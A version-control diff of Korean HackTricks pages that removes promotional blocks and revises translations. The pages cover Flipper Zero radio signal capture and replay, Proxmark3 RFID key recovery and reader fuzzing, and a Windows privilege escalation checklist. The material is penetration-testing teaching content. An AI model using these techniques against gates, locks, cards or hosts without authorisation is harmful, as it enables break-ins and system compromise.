부트로더가 사용되고 있더라도 항상 uboot가 잠금 해제되어 있는 것은 아니라는 점에 유의해야 합니다. Enter 키가 아무런 반응을 보이지 않으면 Space 키와 같은 다른 키를 확인하십시오. 부트로더가 잠겨 있고 중단되지 않으면 이 방법은 작동하지 않습니다. uboot가 장치의 부트로더인지 확인하려면 장치 부팅 중 UART 콘솔의 출력을 확인하십시오. 부팅 중에 uboot가 언급될 수 있습니다.
|
부트로더가 사용되고 있더라도 항상 uboot가 잠금 해제되어 있는 것은 아니라는 점에 유의해야 합니다. Enter 키가 아무런 반응을 보이지 않으면 Space 키와 같은 다른 키를 확인하십시오. 부트로더가 잠겨 있고 중단되지 않으면 이 방법은 작동하지 않습니다. uboot가 장치의 부트로더인지 확인하려면 장치 부팅 중 UART 콘솔의 출력을 확인하십시오. 부팅 중에 uboot가 언급될 수 있습니다.
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 회사나 고객이 **stealer malwares**에 의해 **compromised**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
||||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary>HackTricks 지원하기</summary>
|
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
|
||||||
|
|
||||||
</details>
|
|
||||||
{% endhint %}
|
|
||||||
|
|
|
@ -15,15 +15,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
[**Flipper Zero**](https://flipperzero.one/)를 사용하여:
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
[**Flipper Zero**](https://flipperzero.one/)를 사용하면:
|
|
||||||
|
|
||||||
* **라디오 주파수 듣기/캡처/재생:** [**Sub-GHz**](fz-sub-ghz.md)
|
* **라디오 주파수 듣기/캡처/재생:** [**Sub-GHz**](fz-sub-ghz.md)
|
||||||
* **NFC 카드 읽기/캡처/에뮬레이트:** [**NFC**](fz-nfc.md)
|
* **NFC 카드 읽기/캡처/에뮬레이트:** [**NFC**](fz-nfc.md)
|
||||||
|
@ -36,12 +28,6 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
**기타 Flipper Zero 리소스는** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)에서 확인하세요.
|
**기타 Flipper Zero 리소스는** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)에서 확인하세요.
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
|
@ -15,17 +15,10 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## 소개 <a href="#kfpn7" id="kfpn7"></a>
|
## 소개 <a href="#kfpn7" id="kfpn7"></a>
|
||||||
|
|
||||||
Flipper Zero는 **내장 모듈을 통해 300-928 MHz 범위의 라디오 주파수를 수신하고 전송할 수 있으며**, 원격 제어를 읽고 저장하고 에뮬레이트할 수 있습니다. 이러한 제어 장치는 게이트, 장벽, 라디오 잠금 장치, 원격 제어 스위치, 무선 초인종, 스마트 조명 등과의 상호작용에 사용됩니다. Flipper Zero는 보안이 손상되었는지 여부를 학습하는 데 도움을 줄 수 있습니다.
|
Flipper Zero는 **내장 모듈을 통해 300-928 MHz 범위의 라디오 주파수를 수신하고 전송할 수 있으며**, 원격 제어를 읽고 저장하고 에뮬레이트할 수 있습니다. 이러한 제어 장치는 게이트, 장벽, 라디오 잠금 장치, 원격 제어 스위치, 무선 초인종, 스마트 조명 등과의 상호작용에 사용됩니다. Flipper Zero는 보안이 손상되었는지 여부를 배우는 데 도움을 줄 수 있습니다.
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (714).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (714).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -43,14 +36,14 @@ Flipper Zero는 [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC11
|
||||||
리모컨이 사용하는 주파수를 찾는 방법
|
리모컨이 사용하는 주파수를 찾는 방법
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
분석할 때 Flipper Zero는 주파수 구성에서 사용 가능한 모든 주파수에서 신호 강도(RSSI)를 스캔합니다. Flipper Zero는 -90 [dBm](https://en.wikipedia.org/wiki/DBm)보다 높은 신호 강도를 가진 RSSI 값이 가장 높은 주파수를 표시합니다.
|
분석할 때 Flipper Zero는 주파수 구성에서 사용 가능한 모든 주파수에서 신호 강도(RSSI)를 스캔합니다. Flipper Zero는 -90 [dBm](https://en.wikipedia.org/wiki/DBm)보다 높은 신호 강도를 가진 주파수 중 가장 높은 RSSI 값을 표시합니다.
|
||||||
|
|
||||||
리모컨의 주파수를 확인하려면 다음을 수행하십시오:
|
리모컨의 주파수를 확인하려면 다음을 수행하십시오:
|
||||||
|
|
||||||
1. 리모컨을 Flipper Zero의 왼쪽에 매우 가깝게 놓습니다.
|
1. 리모컨을 Flipper Zero의 왼쪽에 매우 가깝게 놓습니다.
|
||||||
2. **메인 메뉴** **→ Sub-GHz**로 이동합니다.
|
2. **메인 메뉴** **→ Sub-GHz**로 이동합니다.
|
||||||
3. **주파수 분석기**를 선택한 다음 분석하려는 리모컨의 버튼을 누르고 유지합니다.
|
3. **주파수 분석기**를 선택한 후 분석할 리모컨의 버튼을 누르고 유지합니다.
|
||||||
4. 화면에서 주파수 값을 검토합니다.
|
4. 화면에서 주파수 값을 확인합니다.
|
||||||
|
|
||||||
### 읽기
|
### 읽기
|
||||||
|
|
||||||
|
@ -58,17 +51,17 @@ Flipper Zero는 [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC11
|
||||||
사용되는 주파수에 대한 정보 찾기 (사용되는 주파수를 찾는 또 다른 방법)
|
사용되는 주파수에 대한 정보 찾기 (사용되는 주파수를 찾는 또 다른 방법)
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**읽기** 옵션은 지정된 변조에서 **구성된 주파수**를 **청취합니다**: 기본적으로 433.92 AM입니다. 읽기 중에 **무언가가 발견되면**, **정보가 화면에 표시됩니다**. 이 정보는 미래에 신호를 복제하는 데 사용할 수 있습니다.
|
**읽기** 옵션은 **지정된 변조에서 구성된 주파수를 청취합니다**: 기본값은 433.92 AM입니다. 읽기 중 **무언가가 발견되면**, **정보가 화면에 표시됩니다**. 이 정보는 미래에 신호를 복제하는 데 사용할 수 있습니다.
|
||||||
|
|
||||||
읽기 중일 때 **왼쪽 버튼**을 눌러 **구성할 수 있습니다**.\
|
읽기 중에는 **왼쪽 버튼**을 눌러 **구성할 수 있습니다**.\
|
||||||
현재 **4개의 변조**(AM270, AM650, FM328 및 FM476)와 **여러 관련 주파수**가 저장되어 있습니다:
|
현재 **4개의 변조**(AM270, AM650, FM328 및 FM476)와 **여러 관련 주파수**가 저장되어 있습니다:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (947).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (947).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**관심 있는 주파수를 설정할 수 있지만**, 리모컨이 사용하는 주파수가 **확실하지 않은 경우**, **호핑을 켜세요** (기본적으로 꺼져 있음) 그리고 Flipper가 이를 캡처하고 주파수를 설정하는 데 필요한 정보를 제공할 때까지 버튼을 여러 번 누릅니다.
|
**관심 있는 주파수를 설정할 수 있지만**, 리모컨이 사용하는 주파수가 **확실하지 않은 경우**, **호핑을 켜세요** (기본값은 꺼짐) 및 Flipper가 이를 캡처하고 주파수를 설정하는 데 필요한 정보를 제공할 때까지 버튼을 여러 번 누르십시오.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
주파수 간 전환에는 시간이 걸리므로 전환 중에 전송된 신호가 누락될 수 있습니다. 더 나은 신호 수신을 위해 주파수 분석기에 의해 결정된 고정 주파수를 설정하십시오.
|
주파수 간 전환에는 시간이 걸리므로 전환 시 전송된 신호가 누락될 수 있습니다. 더 나은 신호 수신을 위해 주파수 분석기에 의해 결정된 고정 주파수를 설정하십시오.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### **원시 읽기**
|
### **원시 읽기**
|
||||||
|
@ -77,7 +70,7 @@ Flipper Zero는 [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC11
|
||||||
구성된 주파수에서 신호를 훔치고 (재생)하기
|
구성된 주파수에서 신호를 훔치고 (재생)하기
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**원시 읽기** 옵션은 청취 주파수에서 전송된 신호를 **기록합니다**. 이는 신호를 **훔치고** **반복**하는 데 사용할 수 있습니다.
|
**원시 읽기** 옵션은 **청취 주파수에서 전송된 신호를 기록합니다**. 이는 신호를 **훔치고** **반복하는 데** 사용할 수 있습니다.
|
||||||
|
|
||||||
기본적으로 **원시 읽기는 AM650에서 433.92로 설정되어 있지만**, 읽기 옵션에서 관심 있는 신호가 **다른 주파수/변조에 있는 경우**, 원시 읽기 옵션 내에서 왼쪽 버튼을 눌러 수정할 수 있습니다.
|
기본적으로 **원시 읽기는 AM650에서 433.92로 설정되어 있지만**, 읽기 옵션에서 관심 있는 신호가 **다른 주파수/변조에 있는 경우**, 원시 읽기 옵션 내에서 왼쪽 버튼을 눌러 수정할 수 있습니다.
|
||||||
|
|
||||||
|
@ -93,22 +86,22 @@ Flipper Zero는 [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC11
|
||||||
|
|
||||||
#### [지원되는 프로토콜 목록](https://docs.flipperzero.one/sub-ghz/add-new-remote) <a href="#id-3iglu" id="id-3iglu"></a>
|
#### [지원되는 프로토콜 목록](https://docs.flipperzero.one/sub-ghz/add-new-remote) <a href="#id-3iglu" id="id-3iglu"></a>
|
||||||
|
|
||||||
| Princeton\_433 (대부분의 정적 코드 시스템과 작동) | 433.92 | 정적 |
|
| Princeton\_433 (대부분의 정적 코드 시스템에서 작동) | 433.92 | 정적 |
|
||||||
| --------------------------------------------------- | ------ | ----- |
|
| --------------------------------------------------------------- | ------ | ------- |
|
||||||
| Nice Flo 12bit\_433 | 433.92 | 정적 |
|
| Nice Flo 12bit\_433 | 433.92 | 정적 |
|
||||||
| Nice Flo 24bit\_433 | 433.92 | 정적 |
|
| Nice Flo 24bit\_433 | 433.92 | 정적 |
|
||||||
| CAME 12bit\_433 | 433.92 | 정적 |
|
| CAME 12bit\_433 | 433.92 | 정적 |
|
||||||
| CAME 24bit\_433 | 433.92 | 정적 |
|
| CAME 24bit\_433 | 433.92 | 정적 |
|
||||||
| Linear\_300 | 300.00 | 정적 |
|
| Linear\_300 | 300.00 | 정적 |
|
||||||
| CAME TWEE | 433.92 | 정적 |
|
| CAME TWEE | 433.92 | 정적 |
|
||||||
| Gate TX\_433 | 433.92 | 정적 |
|
| Gate TX\_433 | 433.92 | 정적 |
|
||||||
| DoorHan\_315 | 315.00 | 동적 |
|
| DoorHan\_315 | 315.00 | 동적 |
|
||||||
| DoorHan\_433 | 433.92 | 동적 |
|
| DoorHan\_433 | 433.92 | 동적 |
|
||||||
| LiftMaster\_315 | 315.00 | 동적 |
|
| LiftMaster\_315 | 315.00 | 동적 |
|
||||||
| LiftMaster\_390 | 390.00 | 동적 |
|
| LiftMaster\_390 | 390.00 | 동적 |
|
||||||
| Security+2.0\_310 | 310.00 | 동적 |
|
| Security+2.0\_310 | 310.00 | 동적 |
|
||||||
| Security+2.0\_315 | 315.00 | 동적 |
|
| Security+2.0\_315 | 315.00 | 동적 |
|
||||||
| Security+2.0\_390 | 390.00 | 동적 |
|
| Security+2.0\_390 | 390.00 | 동적 |
|
||||||
|
|
||||||
### 지원되는 Sub-GHz 공급업체
|
### 지원되는 Sub-GHz 공급업체
|
||||||
|
|
||||||
|
@ -128,12 +121,6 @@ Flipper Zero는 [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC11
|
||||||
|
|
||||||
* [https://docs.flipperzero.one/sub-ghz](https://docs.flipperzero.one/sub-ghz)
|
* [https://docs.flipperzero.one/sub-ghz](https://docs.flipperzero.one/sub-ghz)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Proxmark3로 RFID 시스템 공격하기
|
## Proxmark3로 RFID 시스템 공격하기
|
||||||
|
|
||||||
가장 먼저 해야 할 일은 [**Proxmark3**](https://proxmark.com)를 가지고 [**소프트웨어와 그 의존성 설치하기**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)입니다.
|
가장 먼저 해야 할 일은 [**Proxmark3**](https://proxmark.com)를 가지고 [**소프트웨어와 그 의존성 설치하기**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)입니다.
|
||||||
|
@ -56,7 +48,7 @@ Proxmark3는 **태그와 리더 간의 통신을 도청**하여 민감한 데이
|
||||||
|
|
||||||
### Raw Commands
|
### Raw Commands
|
||||||
|
|
||||||
IoT 시스템은 때때로 **브랜드가 없거나 상업적이지 않은 태그**를 사용합니다. 이 경우 Proxmark3를 사용하여 태그에 사용자 정의 **원시 명령을 전송**할 수 있습니다.
|
IoT 시스템은 때때로 **비브랜드 또는 비상업적 태그**를 사용합니다. 이 경우 Proxmark3를 사용하여 태그에 사용자 정의 **원시 명령을 전송**할 수 있습니다.
|
||||||
```bash
|
```bash
|
||||||
proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
|
proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
|
||||||
SAK : 08 [2]
|
SAK : 08 [2]
|
||||||
|
@ -74,14 +66,7 @@ Proxmark3 소프트웨어에는 간단한 작업을 수행하는 데 사용할
|
||||||
```
|
```
|
||||||
proxmark3> script run mfkeys
|
proxmark3> script run mfkeys
|
||||||
```
|
```
|
||||||
You can create a script to **fuzz tag readers**, so copying the data of a **valid card** just write a **Lua script** that **randomize** one or more random **bytes** and check if the **reader crashes** with any iteration.
|
당신은 **태그 리더**를 **퍼즈**하기 위한 스크립트를 만들 수 있습니다. 유효한 **카드**의 데이터를 복사하려면, 하나 이상의 무작위 **바이트**를 **무작위화**하고 각 반복에서 **리더가 충돌하는지** 확인하는 **Lua 스크립트**를 작성하세요.
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# 체크리스트 - 로컬 윈도우 권한 상승
|
# 체크리스트 - 로컬 Windows 권한 상승
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -10,27 +10,19 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 팁을 공유하세요.**
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
### **Windows 로컬 권한 상승 벡터를 찾기 위한 최고의 도구:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
### **윈도우 로컬 권한 상승 벡터를 찾기 위한 최고의 도구:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
|
||||||
|
|
||||||
### [시스템 정보](windows-local-privilege-escalation/#system-info)
|
### [시스템 정보](windows-local-privilege-escalation/#system-info)
|
||||||
|
|
||||||
* [ ] [**시스템 정보**](windows-local-privilege-escalation/#system-info) 얻기
|
* [ ] [**시스템 정보**](windows-local-privilege-escalation/#system-info) 얻기
|
||||||
* [ ] **스크립트를 사용하여 커널** [**익스플로잇 검색**](windows-local-privilege-escalation/#version-exploits)
|
* [ ] **커널** [**익스플로잇을 스크립트로 검색**](windows-local-privilege-escalation/#version-exploits)
|
||||||
* [ ] **구글을 사용하여** 커널 **익스플로잇 검색**
|
* [ ] **Google로 커널 익스플로잇 검색하기**
|
||||||
* [ ] **searchsploit를 사용하여** 커널 **익스플로잇 검색**
|
* [ ] **searchsploit로 커널 익스플로잇 검색하기**
|
||||||
* [ ] [**환경 변수**](windows-local-privilege-escalation/#environment)에서 흥미로운 정보?
|
* [ ] [**환경 변수**](windows-local-privilege-escalation/#environment)에서 흥미로운 정보?
|
||||||
* [ ] [**PowerShell 기록**](windows-local-privilege-escalation/#powershell-history)에서 비밀번호?
|
* [ ] [**PowerShell 기록**](windows-local-privilege-escalation/#powershell-history)에서 비밀번호?
|
||||||
* [ ] [**인터넷 설정**](windows-local-privilege-escalation/#internet-settings)에서 흥미로운 정보?
|
* [ ] [**인터넷 설정**](windows-local-privilege-escalation/#internet-settings)에서 흥미로운 정보?
|
||||||
|
@ -52,7 +44,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
* [ ] [**사용자 권한**](windows-local-privilege-escalation/#users-and-groups)
|
* [ ] [**사용자 권한**](windows-local-privilege-escalation/#users-and-groups)
|
||||||
* [ ] [**현재** 사용자 **권한**](windows-local-privilege-escalation/#users-and-groups) 확인
|
* [ ] [**현재** 사용자 **권한**](windows-local-privilege-escalation/#users-and-groups) 확인
|
||||||
* [ ] [**특권 그룹의 구성원**](windows-local-privilege-escalation/#privileged-groups)인가요?
|
* [ ] [**특권 그룹의 구성원**](windows-local-privilege-escalation/#privileged-groups)인가요?
|
||||||
* [ ] [이러한 토큰이 활성화되어 있는지 확인](windows-local-privilege-escalation/#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
* [ ] [이 토큰 중 어떤 것이 활성화되어 있는지 확인](windows-local-privilege-escalation/#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
||||||
* [ ] [**사용자 세션**](windows-local-privilege-escalation/#logged-users-sessions)?
|
* [ ] [**사용자 세션**](windows-local-privilege-escalation/#logged-users-sessions)?
|
||||||
* [ ] [**사용자 홈**](windows-local-privilege-escalation/#home-folders) 확인 (접근 가능?)
|
* [ ] [**사용자 홈**](windows-local-privilege-escalation/#home-folders) 확인 (접근 가능?)
|
||||||
* [ ] [**비밀번호 정책**](windows-local-privilege-escalation/#password-policy) 확인
|
* [ ] [**비밀번호 정책**](windows-local-privilege-escalation/#password-policy) 확인
|
||||||
|
@ -60,7 +52,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
### [네트워크](windows-local-privilege-escalation/#network)
|
### [네트워크](windows-local-privilege-escalation/#network)
|
||||||
|
|
||||||
* [ ] **현재** [**네트워크** **정보**](windows-local-privilege-escalation/#network) 확인
|
* [ ] [**현재** 네트워크 **정보**](windows-local-privilege-escalation/#network) 확인
|
||||||
* [ ] 외부에 제한된 **숨겨진 로컬 서비스** 확인
|
* [ ] 외부에 제한된 **숨겨진 로컬 서비스** 확인
|
||||||
|
|
||||||
### [실행 중인 프로세스](windows-local-privilege-escalation/#running-processes)
|
### [실행 중인 프로세스](windows-local-privilege-escalation/#running-processes)
|
||||||
|
@ -86,7 +78,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
### [DLL 하이재킹](windows-local-privilege-escalation/#path-dll-hijacking)
|
### [DLL 하이재킹](windows-local-privilege-escalation/#path-dll-hijacking)
|
||||||
|
|
||||||
* [ ] **PATH** 내의 어떤 폴더에 **쓰기**할 수 있나요?
|
* [ ] **PATH** 내의 어떤 폴더에 **쓰기**할 수 있나요?
|
||||||
* [ ] **존재하지 않는 DLL을 로드하려고 시도하는** 알려진 서비스 바이너리가 있나요?
|
* [ ] **존재하지 않는 DLL**을 **로드하려고 시도하는** 알려진 서비스 바이너리가 있나요?
|
||||||
* [ ] 어떤 **바이너리 폴더**에 **쓰기**할 수 있나요?
|
* [ ] 어떤 **바이너리 폴더**에 **쓰기**할 수 있나요?
|
||||||
|
|
||||||
### [네트워크](windows-local-privilege-escalation/#network)
|
### [네트워크](windows-local-privilege-escalation/#network)
|
||||||
|
@ -94,7 +86,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
* [ ] 네트워크 열거 (공유, 인터페이스, 경로, 이웃 등 ...)
|
* [ ] 네트워크 열거 (공유, 인터페이스, 경로, 이웃 등 ...)
|
||||||
* [ ] 로컬호스트(127.0.0.1)에서 수신 대기 중인 네트워크 서비스에 특별히 주목하세요.
|
* [ ] 로컬호스트(127.0.0.1)에서 수신 대기 중인 네트워크 서비스에 특별히 주목하세요.
|
||||||
|
|
||||||
### [윈도우 자격 증명](windows-local-privilege-escalation/#windows-credentials)
|
### [Windows 자격 증명](windows-local-privilege-escalation/#windows-credentials)
|
||||||
|
|
||||||
* [ ] [**Winlogon**](windows-local-privilege-escalation/#winlogon-credentials) 자격 증명
|
